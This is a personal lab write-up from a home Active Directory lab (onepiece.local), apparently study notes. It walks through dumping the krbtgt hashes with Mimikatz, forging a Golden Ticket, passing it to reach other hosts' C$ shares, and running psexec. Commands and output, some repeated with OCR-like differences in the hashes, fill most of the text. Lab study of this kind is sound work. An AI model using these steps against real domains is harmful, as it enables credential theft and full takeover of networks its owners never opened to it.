

## 03 - Golden Ticket - Lab

First, we need to move Mimikatz to the domain controller.

We can do that the same way as before using python3 http.server module, and downloading it through edge. Keep the files, yada yada yada.

We are going to be performing both Golden ticket, and a Pass the ticket attack.

Why do we care? Well we dumped the krbtgt account. So now, we can generate tickets in this domain. We own the account in charge of making the tickets. Meaning, we can get shell in all machines in the network.

```
mimikatz 2.2.0 x64 (oe.eo)
C:\Users\Administrator>cd Downloads
C:\Users\Administrator\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 0423-FEF8

Directory of C:\Users\Administrator\Downloads

11/09/2024  07:27 PM    <DIR>          .
09/29/2024  09:48 AM    <DIR>          ..
11/09/2024  07:27 PM             37,208 mimidrv.sys
11/09/2024  07:27 PM          1,355,264 mimikatz.exe
11/09/2024  07:27 PM             37,376 mimilib.dll
11/09/2024  07:27 PM          10,752 mimispool.dll
               4 File(s)            1,440,600 bytes
               2 Dir(s)  50,335,383,552 bytes free

C:\Users\Administrator\Downloads>mimikatz.exe

.#####.  mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com **/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::las /inject /name:krbtgt_
```

postzerologon

```
mimikatz # lsadump::lsa /inject /name:krbtgt
```

```
mimikatz # lsadump::las /inject /name:krbtgt
ERROR mimikatz_doLocal ; "las" command of "lsadump" module not found !
```

```
Module :      lsadump
Full name :    LsaDump module
```

```
    sam - Get the SysKey to decrypt SAM entries (from registry or hives)
    secrets - Get the SysKey to decrypt SECRETS entries (from registry or hives)
    cache - Get the SysKey to decrypt NL$KM then MSCache(v2) (from registry or hives)
    lsa - Ask LSA Server to retrieve SAM/AD entries (normal, patch on the fly or inject)
    trust - Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly)
    backupkeys
    rpdata
    dcsync - Ask a DC to synchronize an object
    dcshadow - They told me I could be anything I wanted, so I became a domain controller
    setntlm - Ask a server to set a new password/ntlm for one user
    changentlm - Ask a server to set a new password/ntlm for one user
    netsync - Ask a DC to send current and previous NTLM hash of DC/SRV/WKS
    packages
    mbc
    zerologon
    postzerologon
```

```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : ONEPIECE / S-1-5-21-1883666878-1191832773-3188401250
```

```
RID : 000001f6 (502)
User : krbtgt
```

```
* Primary
  NTLM : 7836c90eebadf303dec9e2eaa7c5ddfc
  LM :
Hash NTLM: 7836c90eebadf303dec9e2eaa7c5ddfc
  ntlm- 0: 7836c90eebadf303dec9e2eaa7c5ddfc
  lm - 0: be831c5997abc00325c7a6f4b83c601d
```

```
* WDigest
01 d10e8c9a6d0e8ff52da199106d587c5e
02 bab6be705a84389191f7141b0b99fd94
03 afba954776bc8514b27a66918fa40a63
04 d10e8c9a6d0e8ff52da199106d587c5e
05 bab6be705a84389191f7141b0b99fd94
06 e3a6982f0cf9f1f9b1b6712d2527fdc2
07 d10e8c9a6d0e8ff52da199106d587c5e
08 43a8018cf1194767449189f9d19cb6e5
```

```
* WDigest
01 d10e8c9a6d0e8ff52da199106d587c5e
02 bab6be705a84389191f7141b0b99fd94
03 afba954776bc8514b27a66918fa40a63
04 d10e8c9a6d0e8ff52da199106d587c5e
05 bab6be705a84389191f7141b0b99fd94
06 e3a6982f0cf9f1f9b1b6712d2527fdc2
07 d10e8c9a6d0e8ff52da199106d587c5e
08 43a8018cf1194767449189f9d19cb6e5
09 98f085d2babf7495d3eab0a025509d97
10 9b0abb7ad143333f4935f443932b5b94
11 87ef48a46361cf2b8ca4e6157d932655
12 98f085d2babf7495d3eab0a025509d97
13 789e3586cfae030c1f41dac224346ae9
14 87ef48a46361cf2b8ca4e6157d932655
15 5f219fcb092bb80f20a2dd699ccf0f2
16 f6e5056cb3a5734a72e05987ec19bcb5
17 8d270e677e3d946b4b9f9d2be1b6460b
18 1cfb54d428dc3136385ba6c77eed28b
19 13196a931d88ec5aec4139f60a19205a
20 b4358702d23838a1990504dc005590ec
21 3f242d06cd54bd66fbf91d295c356056
22 3f242d06cd54bd66fbf91d295c356056
23 cf2590bbddc838a795b13f23dd8292f3
24 4adce59cdb4076ea50cd438fbae1ffcb
25 5b2780f6a82534e89b7d54242b540b32
26 745ef3acc166fd15023542e6381bdb0f
27 fddd224c5a6b6681f43aeed455f2fbcd
28 906b6abcb9d094842af15f1dd8e03ec0
29 2000f3e649c774305c5f7a65f2be138b
```

```
* Kerberos
  Default Salt : ONEPIECE.LOCALkrbtgt
  Credentials
    des_cbc_md5 : a7834c5d1c16cb98
```

```
* Kerberos-Newer-Keys
  Default Salt : ONEPIECE.LOCALkrbtgt
  Default Iterations : 4096
  Credentials
```

```

28  30000ad0b094072d115710ad0093cc0
29  2000f3e649c774305c5f7a65f2be138b

* Kerberos
  Default Salt : ONEPIECE.LOCALkrbtgt
  Credentials
    des_cbc_md5      : a7834c5d1c16cb98

* Kerberos-Newer-Keys
  Default Salt : ONEPIECE.LOCALkrbtgt
  Default Iterations : 4096
  Credentials
    aes256_hmac      (4096) : 026aed5b69839c0fbbcf6d30413e0fbc042519e9db83a58406d8e541529864f5
    aes128_hmac      (4096) : d895d1b1955a476b75d06f32d0ca451d
    des_cbc_md5      (4096) : a7834c5d1c16cb98

* NTLM-Strong-NTOWF
  Random Value : 50b0c8f4b45e61edfd77c851a8d40681

mimikatz #

```

Open a notepad and take note of the SID of the domain, which is the dashed numbers after the domain name.

```

c:\Select mimikatz 2.2.0 x64 (oe.eo)

postzerologon

mimikatz * lsadump::lsa /inject /name:krbtgt
Domain : ONEPIECE / 5-1-5-21-1883666878-1191832773-3188401250

RID : 000001f6 (502)
User : krbtgt

* Primary
NTLM : 7836c90eebadf303dec9e2eaa7c5ddfc
LM :
Hash NTLM: 7836c90eebadf303dec9e2eaa7c5ddfc
ntlm- 0: 7836c90eebadf303dec9e2eaa7c5ddfc
lm - 0: be831c5997abc00325c7a6f4b83c601d

* WDigest
01 d10e8c9a6d0e8ff52da199106d587c5e
02 bab6be705a84389191f7141b0b99fd94
03 afba954776bc8514b27a66918fAa0a63
04 d10e8c9a6d0e8ff52da199106d587c5e
05 bab6be705a84389191f7141b0b99fd94
06 e3a6982f0cf9f1f9b1b6712d2527fdc2
07 d10e8c9a6d0e8ff52da199106d587c5e
08 43a8018cf1194767449189f9d19c6be5
09 98f085d2babf7495d3eab0a025509d97
10 9b0abb7ad143333f4935f443932b5b94
11 87ef48a46361cf2b8ca4e6157d932655
12 98f085d2babf7495d3eab0a025509d97
13 789e3586cfaf030cf141fad224346a95
14 87ef48a46361cf2b8ca4e6157d932655
15 5f219fc9c092bb80f2da20d699ccf0f2
16 f6e5056cb3a5734a72e05987ec19bcb5
17 8d270ee677e3d9464bb9f9d2be1b6460b
18 1cfb54d428dcd3136385ba6c77eed28b
19 13196a931d88ec5aec4139f60a19205a
20 b4358702d23838a1990504dc005590ec
21 3f242d06cd54b6d66fb9f1d29c5356056

```

The highlighted area is the SID of the Domain.

Then, we also need the NTLM hash of the krbtgt account, which can be found in the screenshot below.

```

Select mimikatz 2.2.0 x64 (oe.eo)
postzerologon
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : ONEPIECE / S-1-5-21-1883666878-1191832773-3188401250

RID : 000001f6 (502)
User : krbtgt

* Primary
  NTLM : 7836c90eebadf303dec9e2eaa7c5ddfc
  LM   :
Hash NTLM: 7836c90eebadf303dec9e2eaa7c5ddfc
ntlm- 0: 7836c90eebadf303dec9e2eaa7c5ddfc
lm - 0: be831c5997abc00325c7a6f4b83c601d

* WDigest
01 d10e8c9a6d0e8ff52da199106d587c5e
02 bab6be705a84389191f7141b0b99fd94
03 afba954776bc8514b27a66918fa40a63
04 d10e8c9a6d0e8ff52da199106d587c5e
05 bab6be705a84389191f7141b0b99fd94
06 e3a6982f0cf9f1f9b1b6712d2527fdc2
07 d10e8c9a6d0e8ff52da199106d587c5e
08 43a8018cf1194767449189f9d19cb6e5
09 98f085d2babf7495d3eab0a025509d97
10 9b0abb7ad14333f4935f443932b5b94
11 87ef48a46361cf2b8ca4e6157d932655
12 98f085d2babf7495d3eab0a025509d97
13 789e3586cfae030c1f41dac224346ae9
14 87ef48a46361cf2b8ca4e6157d932655
15 5f219fcbc092bb80f20a2dd699ccf0f2
16 f6e5056cb3a5734a72e05987ec19bcb5
17 8d270e677e3d946b4b9f9d2be1b6460b
18 1cfb54d428dcd3136385ba6c77eed28b
19 13196a931d88ec5aec4139f60a19205a
20 b4358702d23838a1990504dc005590ec
21 3f242d06cd54b66fbf91d295c356056

```

Now, we are going to be performing the attack.

We do not need to use a real user name, or one that exists already, we can use any name as the user here.

```

mimikatz 2.2.0 x64 (oe.eo)
Credentials
  aes256_hmac (4096) : 026aed5b69839c0fbbcf6d30413e0fbc042519e9db83a58406d8e541529864f5
  aes128_hmac (4096) : d895d1b1955a476b75d06f32d0ca451d
  des_cbc_md5 (4096) : a7834c5d1c16cb98

* NTLM-Strong-NTOWF
  Random Value : 50b0c8f4b45e61edfd77c851a8d40681

mimikatz # kerberos::golden /User:Administrator /domain:onepiece.local /sid:S-1-5-21-1883666878-1191832773-3188401250 /krbtgt:7836c90eebadf303dec9e2eaa7c5ddfc /id:500 /ptt

```

```
mimikatz 2.2.0 x64 (oe.eo)

Credentials
aes256_hmac      (4096) : 026aed5b69839c0fbbcf6d30413e0fbc042519e9db83a58406d8e541529864f5
aes128_hmac      (4096) : d895d1b1955a476b75d06f32d0ca451d
des_cbC_md5      (4096) : a7834c5d1c16cb98

* NTLM-Strong-NTOWF
Random Value : 50b0c8f4b45e61edfd77c851a8d40681

mimikatz # kerberos::golden /User:Administrator1 /domain:onepiece.local /sid:S-1-5-21-1883666878-1191832773-3188401250 /krbtgt:7836c90e
ebadf303dec9e2eaa7c5ddfc /id:500 /ptt
User       : Administrator1
Domain     : onepiece.local (ONEPIECE)
SID        : S-1-5-21-1883666878-1191832773-3188401250
User Id    : 500
Groups Id  : *513 512 520 518 519
ServiceKey : 7836c90eebadf303dec9e2eaa7c5ddfc - rc4_hmac_nt
Lifetime   : 11/9/2024 7:49:49 PM ; 11/7/2034 7:49:49 PM ; 11/7/2034 7:49:49 PM
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator1 @ onepiece.local' successfully submitted for current session

mimikatz # _
```

Run:

"#misc::cmd"

Now, we can try to run commands in other machines:

```
Administrator: C:\Windows\SYSTEM32\cmd.exe
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Downloads>dir \\THENAVIGATOR\c$
Volume in drive \\THENAVIGATOR\c$ has no label.
Volume Serial Number is 226D-6290

Directory of \\THENAVIGATOR\c$

12/07/2019  01:14 AM    <DIR>          PerfLogs
09/29/2024  09:08 AM    <DIR>          Program Files
09/07/2022  07:16 PM    <DIR>          Program Files (x86)
09/29/2024  12:03 PM    <DIR>          Users
11/03/2024  01:23 PM    <DIR>          Windows
09/30/2024  06:09 PM    <DIR>          Windows.old
             0 File(s)              0 bytes
             6 Dir(s) 33,737,334,784 bytes free
```

Boom.

Next level:

Download psexec. It is a windows tool.

Install it, and we can run a while in the golden ticket session.

```
12/01/2019 02:16 AM <DIR> Users
Us 12/11/2019 07:48 PM <DIR> windows
Gr 0 File(s) 0 bytes
Se 6 Dir(s) 44,744,744,960 bytes free
Li
->C:\Users\Administrator\Downloads>psexec.exe \\THEPUNISHER cmd.exe
+
+
+
+
+
Go
mi
Pa
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7788A4388
mimikatz #
```

Look up Silver Ticket as well. Even more stealthier.